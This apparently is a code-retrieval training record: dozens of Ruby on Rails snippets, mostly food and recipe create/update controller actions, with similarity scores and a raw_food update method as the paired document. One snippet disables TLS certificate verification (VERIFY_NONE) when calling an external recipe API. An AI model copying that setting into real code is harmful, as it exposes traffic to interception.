"def create\n data = reload(get_series('foods'), str(Date.strptime(params[:food].values.join(\"-\"))))\n saved = false\n get_series('foods').each do |s|\n #puts \"Updating series=#{s}\"\n data[s].each do |day|\n @food = for_date(day['dateTime'])\n @food.send(s.rpartition('/')[2] + '=', day['value'])\n\n # update from collection too\n logged_food = reload_range(['foods/log'], day['dateTime'], nil)\n # TODO refactor this into a lood instead of separate IFs\n if logged_food['summary']['carbs'].nil?\n @food.carbs = 0\n else\n @food.carbs = logged_food['summary']['carbs'].floor\n end\n if logged_food['summary']['protein'].nil?\n @food.protein = 0\n else\n @food.protein = logged_food['summary']['protein'].floor\n end\n if logged_food['summary']['fat'].nil?\n @food.fat = 0\n else\n @food.fat = logged_food['summary']['fat'].floor\n end\n if logged_food['summary']['fiber'].nil?\n @food.fiber = 0\n else\n @food.fiber = logged_food['summary']['fiber'].floor\n end\n if @food.caloriesIn.nil?\n @food.caloriesIn = 0\n end\n if @food.water.nil?\n @food.water = 0\n end\n\n saved = @food.save\n if not saved\n flash[:error] = @food.errors\n end\n end\n end\n\n respond_to do |format|\n flash[:success] = 'Food was successfully created.'\n format.html { redirect_to @food }\n format.json { render json: @food, status: :created, location: @food }\n end\n end",
"def createRecipeFromAPI(randRecipe)\n # make a recipe obj to create for our DB\n recipe = Recipe.create(title: randRecipe[\"title\"], cookbook: Cookbook.all.sample, instructions: randRecipe[\"instructions\"])\n photo = Photo.create(recipe: recipe, img_url: randRecipe[\"image\"], description: \"test photo\")\n ingredients = randRecipe[\"extendedIngredients\"].map do |ing| \n ingredient = Ingredient.find_or_create_by(name: ing[\"name\"].titlecase)\n ri = RecipeIngredient.create(recipe: recipe, ingredient: ingredient, quantity: \"#{ing[\"amount\"]} #{ing[\"unit\"]}\")\n end\nend",
"def create_item()\n\n request_body = {\n 'name' => 'Milkshake',\n 'variations' => [\n {\n 'name' => 'Small',\n 'pricing_type' => 'FIXED_PRICING',\n 'price_money' => {\n 'currency_code' => 'USD',\n 'amount' => 400\n }\n }\n ]\n }\n\n response = Unirest.post CONNECT_HOST + '/v1/' + LOCATION_ID + '/items',\n headers: REQUEST_HEADERS,\n parameters: request_body.to_json\n\n if response.code == 200\n puts 'Successfully created item:'\n puts JSON.pretty_generate(response.body)\n return response.body\n else\n puts 'Item creation failed'\n puts response.body\n return nil\n end\nend",
"def food_params\n params.require(:food).permit(:name, :description, :image_url, :price,\n :category_id, :restaurant_id,\n tag_ids: [])\n end",
"def create\n @fast_food = FastFood.new(fast_food_params)\n\n respond_to do |format|\n if @fast_food.save\n format.html { redirect_to @fast_food, notice: 'Fast food was successfully created.' }\n format.json { render :show, status: :created, location: @fast_food }\n else\n format.html { render :new }\n format.json { render json: @fast_food.errors, status: :unprocessable_entity }\n end\n end\n end",
"def add\r\n url = URI(\"https://spoonacular-recipe-food-nutrition-v1.p.rapidapi.com/recipes/#{params[:recipe_id]}/information\")\r\n\r\n http = Net::HTTP.new(url.host, url.port)\r\n http.use_ssl = true\r\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\r\n\r\n request = Net::HTTP::Get.new(url)\r\n request[\"x-rapidapi-key\"] = ENV[\"SPOONACULAR_API_KEY\"] #hidden API key\r\n request[\"x-rapidapi-host\"] = 'spoonacular-recipe-food-nutrition-v1.p.rapidapi.com'\r\n\r\n response = http.request(request)\r\n recipe_data = JSON.parse response.read_body\r\n recipe = Recipe.create :title => recipe_data[\"title\"], :image => recipe_data[\"image\"]\r\n @current_user.recipes << recipe # add recipe to My Recipes\r\n\r\n redirect_to my_recipes_path\r\n end",
"def create\n\t\trespond_with Species.create(species_params)\n\tend",
"def set_raw_food\n @raw_food = RawFood.friendly.find(params[:id])\n end",
"def food_params\n params.require(:food).permit(:food_name, :carbs, :fat, :protein, :amount, :servings, :recipe_id)\n end",
"def create\n @food = Food.new(food_params)\n respond_to do |format|\n if @food.save\n format.html { redirect_to @food, notice: 'Food was successfully created.' }\n format.json { render :show, status: :created, location: @food }\n else\n format.html { render :new }\n format.json { render json: @food.errors, status: :unprocessable_entity }\n end\n end\n end",
"def data_to_api(snack_name, snack_location, snack_optional)\n RestClient.post ENV['NERDERY_API'], { name: snack_name,\n location: snack_location,\n optional: snack_optional\n }.to_json, content_type: :json\n end",
"def food_params\n params.require(:food).permit(:name, :date, :food, :place, :picture, :user_id, :count, :counttype)\n end",
"def create\n @fooddiary = @food.fooddiaries.new(fooddiary_params)\n @fooddiary.user_id = current_user.id\n @fooddiary.name = @food.name\n @fooddiary.eiweiß = @food.eiweiß\n @fooddiary.fett = @food.fett\n @fooddiary.kohlenhydrate = @food.kohlenhydrate\n @fooddiary.kalorien = @food.kalorien\n respond_to do |format|\n if @fooddiary.save\n format.html { redirect_to foods_path }\n format.json { render :show, status: :created, location: @fooddiary }\n else\n format.html { render :new }\n format.json { render json: @fooddiary.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n recipeIngredient = rRcipeIngredient.create(recipeIngredient_params)\n render json: recipeIngredient\n end",
"def raw_post; end",
"def create\n user = current_user\n if params[:id]\n @recipe = Recipe.new(name: params[:name],\n description: params[:description],\n ingredients: params[:indredients],\n instructions: params[:instructions],\n servings: params[:servings],\n original_id: params[:id])\n else\n @recipe = Recipe.new(recipe_params)\n end\n user.recipes << @recipe\n if user.save\n render json: @recipe, status: :created\n else\n render json: {message: \"something went wrong\"}\n end\n end",
"def create\n @food = Food.new(food_params)\n @food.user_id = current_user.id\n respond_to do |format|\n if @food.save\n\n puts name = get_barcode_info(@food.picture.path.to_s)\n\n @food.update!(:name => name)\n\n format.html { redirect_to @food, notice: 'Food was successfully created.' }\n format.json { render :show, status: :created, location: @food }\n else\n format.html { render :new }\n format.json { render json: @food.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @fooditem = Fooditem.new(params[:fooditem])\n\n respond_to do |format|\n if @fooditem.save\n format.html { redirect_to @fooditem, :notice => 'Fooditem was successfully created.' }\n format.json { render :json => @fooditem, :status => :created, :location => @fooditem }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @fooditem.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @campus_food = CampusFood.new(params[:campus_food])\n\t#@campus_food.location = params[:tags]\n respond_to do |format|\n if @campus_food.save\n format.html { redirect_to campus_foods_path, notice: 'Campus food was successfully created.' }\n format.json { render json: @campus_food, status: :created, location: @campus_food }\n else\n format.html { render action: \"new\" }\n format.json { render json: @campus_food.errors, status: :unprocessable_entity }\n end\n end\n end",
"def prepare_pet\n # remove the pet\n SwaggerClient::PetApi.delete_pet(10002)\n # recreate the pet\n pet = SwaggerClient::Pet.new('id' => 10002, 'name' => \"RUBY UNIT TESTING\")\n SwaggerClient::PetApi.add_pet(:body => pet)\nend",
"def create\n @animal_food = AnimalFood.new(animal_food_params)\n\n respond_to do |format|\n if @animal_food.save\n format.html { redirect_to @animal_food, notice: \"Animal food was successfully created.\" }\n format.json { render :show, status: :created, location: @animal_food }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @animal_food.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n\t\tif Recipe.find_by({api_id: params[:api_id]})\n\t\t\tflash[:error] = \"Recipe '#{params[:name]}' already exists in your saved recipes.\"\n\t\telse\n\t\t\t@recipe = Recipe.new(recipe_params)\n\t\t\tif @recipe.save\n\t\t\t\tids = params[:inventories].split(\",\")\n\t\t\t\tfor index in 0...ids.length\n\t\t\t\t\t@recipe.inventories << Inventory.where({id: ids[index].to_i})\n\t\t\t\tend\n\n\t\t\t\trender json: @recipe\n\t\t\telse\n\t\t\t\trender status: 400, nothing: true\n\t\t\tend\n\t\tend\n\tend",
"def update\n json_response(@food_item.update!(food_item_params))\n end",
"def create\n @flat_happening = FlatHappening.where(:namespaced_id => params[:flat_happening][:namespaced_id]).first_or_initialize(params[:flat_happening])\n # @happening = Happening.where(:source => params[:happening][:source], :meta => params[:happening][:meta]).first_or_initialize(create_params)\n\n if @flat_happening.save\n render json: @flat_happening, status: :created\n # , location: @flat_happening\n else\n render json: @flat_happening.errors, status: :unprocessable_entity\n end\n end",
"def create\n post_params = {\n name: params[:name].downcase,\n units: params[:units] || 0\n }\n render json: Ingredient.create!(post_params), status: :created\n end",
"def create\n @potluck_recipe = PotluckRecipe.new(potluck_recipe_params)\n if @potluck_recipe.save\n render json: {result: @potluck_recipe}\n else\n render json: { result: @potluck_recipe.errors, status: :unprocessable_entity }\n end\n end",
"def create\n @food = Food.new(params[:food])\n\n respond_to do |format|\n if @food.save\n format.html { redirect_to @food, notice: \"Piatto creato correttamente.\" }\n format.json { render json: @food, status: :created, location: @food }\n else\n format.html { render action: \"new\" }\n format.json { render json: @food.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create_recipe_request(version, auth_headers, data = {})\n post \"/api/recipes\", params: data, headers: {'Content-Type' => \"application/json\", 'Accept' => \"application/vnd.ink.#{version}\" }.merge(auth_headers)\nend",
"def food_params\n params.require(:food).permit(:item, :description)\n end",
"def create\n @meal = Meal.find(params[:meal_id]) if params[:meal_id]\n @recipe = @meal ? @meal.recipes.create(params[:recipe]) : Recipe.new(params[:recipe])\n\n #@recipe.ingredients = params[:ingredients].map {|i| \n #Ingredient.new(:item => Food.find(i.delete(:item_id)), :quantity => i[:quantity]) unless i[:item_id].blank? \n #}.compact if params[:ingredients]\n\n @recipe.tags = params[:tags].split(/,/).map { |t|\n Tag.find_or_create_by_name(t.strip.downcase)\n }.compact if params[:tags]\n\n respond_to do |format|\n if @recipe.save\n format.html { redirect_to @recipe}\n format.json { render json: @recipe, status: :created, location: @recipe }\n else\n format.html { render action: \"new\" }\n format.json { render json: @recipe.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n render json: Beverage.create!(beverage_post_params), status: :created\n end",
"def create\n @fridge_food = FridgeFood.new(params[:fridge_food])\n\n respond_to do |format|\n if @fridge_food.save\n format.html { redirect_to(@fridge_food, :notice => 'Fridge food was successfully created.') }\n format.xml { render :xml => @fridge_food, :status => :created, :location => @fridge_food }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @fridge_food.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def append_raw(path, format, data)\n path = relativize_path path\n\n content_type = if format == :json then\n 'application/json'\n elsif format == :json_stream\n 'application/x-json-stream'\n elsif CSV === format\n 'text/csv'\n elsif format == :csv\n format = DEFAULT_CSV\n 'text/csv'\n else\n raise \"invalid format: #{format}\" # todo\n end\n\n csv_params = if CSV == format then\n { :escape => CSV.escape, :delimiter => CSV.delimiter, :quote => CSV.quote }\n else\n {}\n end\n\n header = { 'Content-Type' => content_type }\n params = { :apiKey => api_key, :receipt => true, :mode => 'batch' }.merge csv_params\n resp = Precog.post(self, \"/ingest/v#{VERSION}/fs/#{path}\", data, header, params)\n\n results = JSON.parse resp.body\n [results[\"ingested\"], results[\"errors\"]]\n end",
"def create\n @recipe = Recipe.new(recipe_params)\n params[:recipe][:ingredients].each do |ingredient_id|\n next if ingredient_id.to_i == 0\n ingredient = Ingredient.find(ingredient_id.to_i)\n @recipe.ingredients << ingredient\n end\n params[:recipe][:gadgets].each do |gadget_id|\n next if gadget_id.to_i == 0\n gadget = Gadget.find(gadget_id.to_i)\n @recipe.gadgets << gadget\n end\n respond_to do |format|\n if @recipe.save\n format.html { redirect_to @recipe, notice: 'Recipe was successfully created.' }\n format.json { render action: 'show', status: :created, location: @recipe }\n else\n format.html { render action: 'new' }\n format.json { render json: @recipe.errors, status: :unprocessable_entity }\n end\n end\n end",
"def recipes_food_params\n params.require(:recipes_food).permit(:recipe_id, :food_id)\n end",
"def create\n ingredient = Ingredient.create(ingredient_params)\n render json: ingredient\n end",
"def create\n\t\turi = URI.parse(Counter::Application.config.simplyurl)\n\t\thttp = Net::HTTP.new(uri.host, uri.port)\n\t\t\n\t\trequest = Net::HTTP::Post.new('/offsets.json')\n\t\tputs params\n\t\tputs params.slice(*['custids','acctids','itemids'])\n\t\t\n\t\t# ok, this join stuff is bogus - it encodes properly, but the other side only sees the last element and loses the array type - it's just string\n\t\t# this way, i 'split' it at the other side to recover my array\n\t\t# it should work without the join/split crap, but it doesn't\n\t\trequest.set_form_data({:custids => ( params['custids'] || []).join(','), :acctids => ( params['acctids'] || []).join(','), :itemids => ( params['itemids'] || []).join(','), :amount => params['amount'], :type => params['type']})\n\t\t\n\t\tputs request.body\n\t\t\n\t\tresponse = http.request(request)\n\t\tputs response.body\n\n respond_to do |format|\n format.html { render :text => response.code == :ok ? \"\" : response.body, status: response.code }\n format.json { render :text => response.code == :ok ? \"\" : response.body, status: response.code }\n end\n end",
"def create\n render json: Dish.create(dish_params)\n end",
"def index\n @recipes_foods = RecipesFood.all\n end",
"def recipe_params\n params.require(:recipe).permit(:name, :serves, :cooking_time, :difficulty, :ingredients, :procedure, :food_preference_id, :food_type_id, :cuisine_id, :photo)\n end",
"def create\n name = params['name']\n description = params['description']\n instructions = params['instructions']\n cook_time = params['cook_time']\n quantity = params['quantity']\n serving_size = params['serving_size']\n uid = params['user_id']\n aws_params = Hash.new\n aws_params[:custom_fields] = {\n 'name' => name,\n 'description' => description,\n 'instructions' => instructions,\n 'cook_time' => cook_time,\n 'quantity' => quantity,\n 'serving_size' => serving_size,\n 'user_id' => uid\n }\n if Aws.save_recipe_to_db(aws_params)\n msg = {:notice => \"Recipe created!\"}\n render :json => msg\n else\n msg = {:notice => \"Error while save to DynamoDB!\"}\n render :json => msg\n end\n end",
"def create\n @raw_datum = RawDatum.new(params[:raw_datum])\n\n respond_to do |format|\n if @raw_datum.save\n format.html { redirect_to @raw_datum, notice: 'Raw datum was successfully created.' }\n format.json { render json: @raw_datum, status: :created, location: @raw_datum }\n else\n format.html { render action: \"new\" }\n format.json { render json: @raw_datum.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @recipe = Recipe.find(params[:recipe_id])\n @food = Food.find(params[:food_id])\n @compound = Compound.new\n @compound.food = @food\n @compound.recipe_id = params[:recipe_id]\n @compound.grams = 100\n\n respond_to do |format|\n if @compound.save\n format.html { redirect_to subcategory_foods_path(@food.subcategory),\n notice: 'Compuesto añadido a la receta actual. acceda al menú para finalizar la creación de la receta.' }\n format.json { render :show, status: :created, location: @compound }\n else\n format.html { render :new }\n format.json { render json: @compound.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n params['user_id'] = current_user.id if current_user\n @mood = Mood.new(mood_params)\n\n if @mood.save\n render json: { location: format_mood(@mood) }, status: :created\n else\n render json: @mood.errors, status: :unprocessable_entity\n end\n end",
"def recipe_params\n params.require(:recipe).permit(:name, :photo, :source_url, :serving_size, :ingredients, :instructions, :health_labels)\n end",
"def food_params\n params.require(:food).permit(:title, :description, :cost, :location, :directions, :nutrition, :calorie, :image1, :image2, :image3, :restaurant, :food_type, :restaurant_web, :published, :offer_percent, :offer_occasions)\n end",
"def create\n @done_food = DoneFood.new(done_food_params)\n\n respond_to do |format|\n if @done_food.save\n format.html { redirect_to @done_food, notice: 'Done food was successfully created.' }\n format.json { render :show, status: :created, location: @done_food }\n else\n format.html { render :new }\n format.json { render json: @done_food.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @type_food = TypeFood.new(type_food_params)\n\n respond_to do |format|\n if @type_food.save\n format.html { redirect_to @type_food, notice: 'Type food was successfully created.' }\n format.json { render :show, status: :created, location: @type_food }\n else\n format.html { render :new }\n format.json { render json: @type_food.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @recipes = Recipe.all\n render json: @recipes\n end",
"def test_post_sample_traces\n header 'Content-Type', 'application/json'\n\n (0..4).each do |i|\n data = File.read \"sample-traces/#{i}.json\"\n post('/traces', data, 'CONTENT_TYPE': 'application/json')\n assert last_response.ok?\n end\n end",
"def create\n Filter.create! :json_contents => params[:filter]\n\n render json: {\n success: true\n }\n end",
"def create\n begin\n Twitter.user_timeline(params[:foodtruck][:handle])\n Foodtruck.create(params[:foodtruck])\n redirect_to '/foodtrucks'\n rescue\n redirect_to '/foodtrucks/new'\n end\n end",
"def create_foods\n @food = Food.new(strong_params_foods)\n @food.value = calculate_emissions\n @food.user = @user\n @food.save\n end",
"def create\n @recipe = Recipe.new(params[:recipe])\n respond_to do |format|\n if @recipe.save\n format.html { redirect_to recipes_path, notice: 'Recipe successfully created!!' }\n format.json { render json: @recipe }\n else\n format.html { render action: :new }\n format.json { render json: @recipe.errors }\n end\n end\n end",
"def create\n @bowl = Bowl.new(params[:bowl])\n \n # set the current user's id and the creation time for this bowl\n @bowl.user_id = session[:user].userid.to_i\n @bowl.created = Time.now\n \n respond_to do |format|\n if @bowl.save\n\n Rails.logger.info \"Adding contents for bowl\"\n \n params.keys.each do |param|\n if param.start_with?(\"input_\") and (params[param] != \"\") \n @bowl.contents.create(:bowl_id => @bowl.id, :dryfruit_id => param[6, 2], :quantity => params[param]) \n end\n end\n \n format.html { redirect_to bowls_path, :notice => 'Bowl was successfully created.' }\n format.json { render :json => @bowl, :status => :created, :location => @bowl }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @bowl.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def raw_post(path, body, options = {})\n # Allow format override\n format = options.delete(:format) || @format\n # Clear cache\n expire_matching \"#{raw_path(path)}.*\"\n # Create POST request\n post = Typhoeus::Request.new(\"#{protocol}#{@server}#{path}\", \n :verbose => DEBUG,\n :method => \"post\",\n :body => body,\n :headers => { :'Content-type' => options[:content_type] || content_type(format) }\n )\n\n # Send request\n do_request(post, format)\n end",
"def recipe_params\n params.require(:recipe).permit(:title, :servings)\n end",
"def food_params\n\t\tparams.require(:food).permit(:name, :existing_amount, :unit_of_measure, :image)\n\t\t\n\tend",
"def response_to_macros(response)\n parsed_json = JSON.pretty_generate(JSON.parse(response.body))\n # this is an array of hashes (nested to infinite T_T)\n recipe_data = JSON.parse(parsed_json)\n\n # Loop through ingredients\n recipe_data.each do |ingredient|\n ingr_data = ingredient[\"nutrition\"]\n\n # # Loop through nutrition array of hashes\n ingr_data[\"nutrients\"].each do |nutrient|\n # Sum calories\n if nutrient[\"title\"] == \"Calories\"\n @recipe_hash[:total_cal] += nutrient[\"amount\"].to_f\n # Sum proteins\n elsif nutrient[\"title\"] == \"Protein\"\n @recipe_hash[:total_prot] += nutrient[\"amount\"].to_f\n # Sum carbs\n elsif nutrient[\"title\"] == \"Carbohydrates\"\n @recipe_hash[:total_carbs] += nutrient[\"amount\"].to_f\n # Sum fat\n elsif nutrient[\"title\"] == \"Fat\"\n @recipe_hash[:total_fat] += nutrient[\"amount\"].to_f\n end\n end\n end\n end",
"def food_params\n params.require(:food).permit(:name, :description, :counter, images_attributes: [:name, :data], subs_attributes: [:id, :name, :description, :image, :_destroy])\n end",
"def food_params\n params.require(:food).permit(:image)\n end",
"def create(input)\n @response = self.request(Net::HTTP::Post.new(\n \"/stikkits.atom?raw_text=#{CGI.escape(input)}\"\n ))\n #-- TODO: This should be processed and useful output presented\n #++\n puts @response.body\n end",
"def create\n @favourite_food = FavouriteFood.new(params[:favourite_food])\n\n respond_to do |format|\n if @favourite_food.save\n format.html { redirect_to @favourite_food, notice: 'Favourite food was successfully created.' }\n format.json { render json: @favourite_food, status: :created, location: @favourite_food }\n else\n format.html { render action: \"new\" }\n format.json { render json: @favourite_food.errors, status: :unprocessable_entity }\n end\n end\n end",
"def test_all_the_dogs_are_in_one_pack\n @params = {\n packs: [\n {\n dogs: ['Spot', 'Fido', 'Rover'],\n location: 'San Francisco',\n },\n {\n dogs: ['Doggie', 'Lassie'],\n location: 'Canada',\n },\n ],\n }\n\n\n post \"/dogs\", params = @params\n assert_equal 'Spot, Fido, Rover, Doggie, and Lassie are all in one pack. Oh no!', last_response.body\n end",
"def create\n @recipe = Recipe.new(params[:recipe])\n\n respond_to do |format|\n if @recipe.save\n format.html { redirect_to @recipe, notice: 'Recipe was successfully created.' }\n format.json { render json: @recipe, status: :created, location: @recipe }\n else\n format.html { render action: \"new\" }\n format.json { render json: @recipe.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @recipe = Recipe.new(params[:recipe])\n\n respond_to do |format|\n if @recipe.save\n format.html { redirect_to @recipe, notice: 'Recipe was successfully created.' }\n format.json { render json: @recipe, status: :created, location: @recipe }\n else\n format.html { render action: \"new\" }\n format.json { render json: @recipe.errors, status: :unprocessable_entity }\n end\n end\n end",
"def foodmodel_params\n params.require(:foodmodel).permit(:name, :image, :recipe)\n end",
"def create\n puts recipe_params[:ingredients], recipe_params[:recipe], recipe_params[:user_id]\n recipe = Recipe.create(recipe_params[:recipe])\n if(recipe.valid?)\n Ingredient.create_and_assign(recipe_params[:ingredients], recipe.id)\n newUR = UserRecipe.create(recipe_id: recipe.id, user_id: recipe_params[:user_id])\n render json: UserRecipeSerializer.new(newUR).to_serialized_json\n else\n render json: recipe.errors.full_messages\n end\n end",
"def new\n @food = Food.new\n @food.user = current_user\n @series = get_series('foods')\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @food }\n end\n end",
"def create\n animal = Animal.new(animal_params)\n if !animal.name.nil?\n animal.save\n render json: animal, status: 201, location: [:api, animal]\n else\n render json: { errors: animal.errors }, status: 422\n end\n end",
"def create(options = {})\n optional = [:description,\n \t\t\t :compatible_with,\n \t\t\t :script_type\n ]\n params.required(:label).accepts(optional).validate!(options)\n response = request(:post, \"/recipes.json\", default_params(options))\n response['recipe']\n end",
"def compound_params\n params.require(:compound).permit(:food_id, :recipe_id, :grams)\n end",
"def index\n @recipes = Recipe.all\n respond_to do |format|\n format.html {}\n format.json { render json: @recipes }\n end\n end",
"def index\n json_response(current_restaurant.restaurant_food_items)\n end",
"def food_params\n params.require(:food).permit(:name, :price, :restaurant_id)\n end",
"def create\n @recipe = Recipe.new(recipe_params)\n # if params[:add_ingredient]\n # @recipe.ingredients.build\n # end\n respond_to do |format|\n if @recipe.save\n format.html { redirect_to @recipe, notice: 'Recipe was successfully created.' }\n format.json { render :show, status: :created, location: @recipe }\n else\n format.html { render :new }\n format.json { render json: @recipe.errors, status: :unprocessable_entity }\n end\n end\n end",
"def food_params\n params.require(:food).permit(:title, :description, :image_url, :price, :category_id)\n end",
"def raw_post_request raw_params\n json_body = raw_params.to_json\n Rubix.logger.log(Logger::DEBUG, \"SEND: #{json_body}\") if Rubix.logger\n Net::HTTP::Post.new(uri.path).tap do |req|\n req['Content-Type'] = 'application/json-rpc'\n req.body = json_body\n end\n end",
"def create\n @food = Food.create(params[:food])\n redirect_to foods_url\n end",
"def recipe_params\n params.require(:recipe).permit(:name, {:category_ids => []}, :description, :picture, :times, :quantity, \n :ingredients, {:main_ingredient_ids => []}, :directions, {:source_ids => []}, :wine, :difficulty, :cost)\n end",
"def index\n recipes = Recipe.all\n render status: :ok, json: recipes\n end",
"def ingredient_data\n respond_to do |format|\n format.json { render json: helpers.get_ingredient(params[:ingredient_type], params[:ingredient_id]) }\n end\n end",
"def create\n @recipe = Recipe.new(params[:recipe])\n\n respond_to do |format|\n if @recipe.save \n format.html { redirect_to @recipe, notice: 'Recipe was successfully created.' }\n format.json { render json: @recipe, status: :created, location: @recipe }\n else\n format.html { render action: \"new\" }\n format.json { render json: @recipe.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @foil_item = FoilItem.new(foil_item_params)\n\n respond_to do |format|\n if @foil_item.save\n format.html { redirect_to @foil_item, notice: 'Foil item was successfully created.' }\n format.json { render :show, status: :created, location: @foil_item }\n else\n format.html { render :new }\n format.json { render json: @foil_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def post\n Typhoeus.post(@url,\n body: @results_hash.to_json,\n headers: { 'Content-Type' => 'application/json' })\n end",
"def create\n RawFile.transaction do\n @raw_file = RawFile.new(params[:raw_file])\n\n @raw_file.uploaded_file = params[:raw_file][:file]\n\n @raw_file.status = 'SENT'\n\n respond_to do |format|\n if @raw_file.save\n format.html { redirect_to @raw_file, :notice => 'File was successfully created.' }\n format.json { render :json => @raw_file, :status => :created, :location => @raw_file }\n else\n format.html { render \"new\", :locals => { :raw_file => @raw_file } }\n format.json { render :json => @raw_file.errors, :status => :unprocessable_entity }\n end\n end\n end\n end",
"def postReadings(info, state)\r\n params = {\r\n :device_id => info.deviceId,\r\n :sensor_data => [\r\n {\r\n :type => \"Temperature\",\r\n :value => state.temperature,\r\n :time => Time.now.to_i\r\n },\r\n {\r\n :type => \"Humidity\",\r\n :value => state.humidity,\r\n :time => Time.now.to_i\r\n }\r\n ]\r\n }\r\n res = apiPostJson(\"readings\", params)\r\n if res.status != 201\r\n $LOG.warn(\"Failed to post readings to backend! Status: #{res.status}, Response: #{res.body}\")\r\n end\r\n end",
"def create\n @ingredient = @bar.ingredients.new(ingredient_params)\n\n respond_to do |format|\n if @ingredient.save\n format.html { render :show, notice: 'Ingredient was successfully created.' }\n format.json { render :show, status: :created, location: @ingredient }\n else\n format.html { render :new }\n format.json { render json: @ingredient.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create \n @recipe = Recipe.new(recipe_params)\n\n respond_to do |format|\n if @recipe.save\n format.html { redirect_to recipes_url, notice: 'Recipe was successfully created.' }\n format.json { render :show, status: :created, location: @recipe }\n else\n format.html { render :new }\n format.json { render json: @recipe.errors, status: :unprocessable_entity }\n end\n end\n end",
"def post(path, json, params = {})\n if path.include?('covid19')\n request = Net::HTTP::Post.new(path, @headers)\n else\n request = Net::HTTP::Post.new('/v2' + path, @headers)\n end\n request.add_field('Content-Type', 'application/json')\n request.body = json\n params.each do |k, v|\n request[k] = v\n end\n send_request(request)\n end",
"def create\n create_params = item_params\n item = Item.new(\n name: create_params[:name], \n is_complete: false, #create_params[:is_complete], \n list_id: create_params[:list_id])\n\n item.save!\n render json: item\n end"
] |
[
"0.5834344",
"0.56350017",
"0.5504638",
"0.5488984",
"0.5409885",
"0.5323871",
"0.5315756",
"0.5282409",
"0.5252079",
"0.51908445",
"0.516067",
"0.51442134",
"0.51230174",
"0.5121342",
"0.50928193",
"0.5090981",
"0.5085941",
"0.5080582",
"0.5047763",
"0.5043355",
"0.5017928",
"0.50170016",
"0.4998357",
"0.49922812",
"0.4982517",
"0.49812204",
"0.49748152",
"0.4970836",
"0.49672815",
"0.49644506",
"0.49637952",
"0.49524254",
"0.49474543",
"0.4945478",
"0.4945373",
"0.4944898",
"0.4939399",
"0.49378806",
"0.49377775",
"0.49316335",
"0.49289927",
"0.49247342",
"0.4920226",
"0.49129316",
"0.49110416",
"0.4911032",
"0.49105135",
"0.4909267",
"0.48978388",
"0.48950335",
"0.4890657",
"0.4882793",
"0.48791242",
"0.4875569",
"0.4871379",
"0.48712686",
"0.48683643",
"0.4864633",
"0.48534492",
"0.4838877",
"0.48312736",
"0.48241246",
"0.48206973",
"0.4819946",
"0.47969136",
"0.47961298",
"0.47947294",
"0.4794547",
"0.47829595",
"0.47698373",
"0.47668245",
"0.47642258",
"0.4763658",
"0.4762533",
"0.4762533",
"0.47594705",
"0.47563368",
"0.47548622",
"0.47532785",
"0.475054",
"0.47477278",
"0.47442845",
"0.4743329",
"0.47432402",
"0.4742198",
"0.47414416",
"0.47401032",
"0.4739248",
"0.4734657",
"0.47308642",
"0.472967",
"0.47293374",
"0.4726716",
"0.472473",
"0.47237158",
"0.47202507",
"0.47187087",
"0.47130528",
"0.47080597",
"0.47077638"
] |
0.641323
|
0
|
PATCH/PUT /raw_foods/1 PATCH/PUT /raw_foods/1.json
|
def update
respond_to do |format|
if @raw_food.update(raw_food_params)
format.html { redirect_to @raw_food, notice: 'Raw food was successfully updated.' }
format.json { render :show, status: :ok, location: @raw_food }
else
format.html { render :edit }
format.json { render json: @raw_food.errors, status: :unprocessable_entity }
end
end
@raw_food.opening_hours.build
@raw_food.rewards.build
@raw_food.menus.build
@raw_food.verifying_documents.build
@raw_food.ordering_method_ids = params[:raw_food][:ordering_method_ids]
@raw_food.delivery_location_ids = params[:raw_food][:delivery_location_ids]
@raw_food.online_retail_service_type_ids = params[:raw_food][:online_retail_service_type_ids]
@raw_food.raw_food_product_category_ids = params[:raw_food][:raw_food_product_category_ids]
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def update\n json_response(@food_item.update!(food_item_params))\n end",
"def update\n recipe.update(recipe_params)\n render json: recipe\n end",
"def update!(params)\n res = @client.put(path, nil, params, \"Content-Type\" => \"application/json\")\n @attributes = res.json if res.status == 201\n res\n end",
"def update # PATCH\n raise NotImplementedError\n end",
"def update\n @data = @recipe.update(params[:id], recipe_params)\n render json: @data\n end",
"def patch\n headers = {\"If-Match\" => @version}\n response = @context.request :patch, \"#{@path}/#{@id}\", @data.to_json, headers\n @version += 1\n response\n # 'X-HTTP-Method-Override' => 'PATCH'\n end",
"def update\n @food = Food.find(params[:id])\n\n respond_to do |format|\n if @food.update_attributes(params[:food])\n format.html { redirect_to foods_path(), notice: 'Food was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @food.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @food.update(food_params)\n respond_with @food, location: -> { kitchen_board_path }\n end",
"def update\n if @item.update(item_params)\n render status: 201, :json => @item, :include =>[{:location =>{:except=>[:id, :created_at, :updated_at]}}, {:food =>{:except =>[:id, :created_at, :updated_at]}}], :except => [:created_at, :updated_at, :food_id, :location_id]\n else\n render status: 404, json: { message: @item.errors}.to_json\n end\n\n \n end",
"def update(url, data)\n RestClient.put url, data, :content_type => :json\nend",
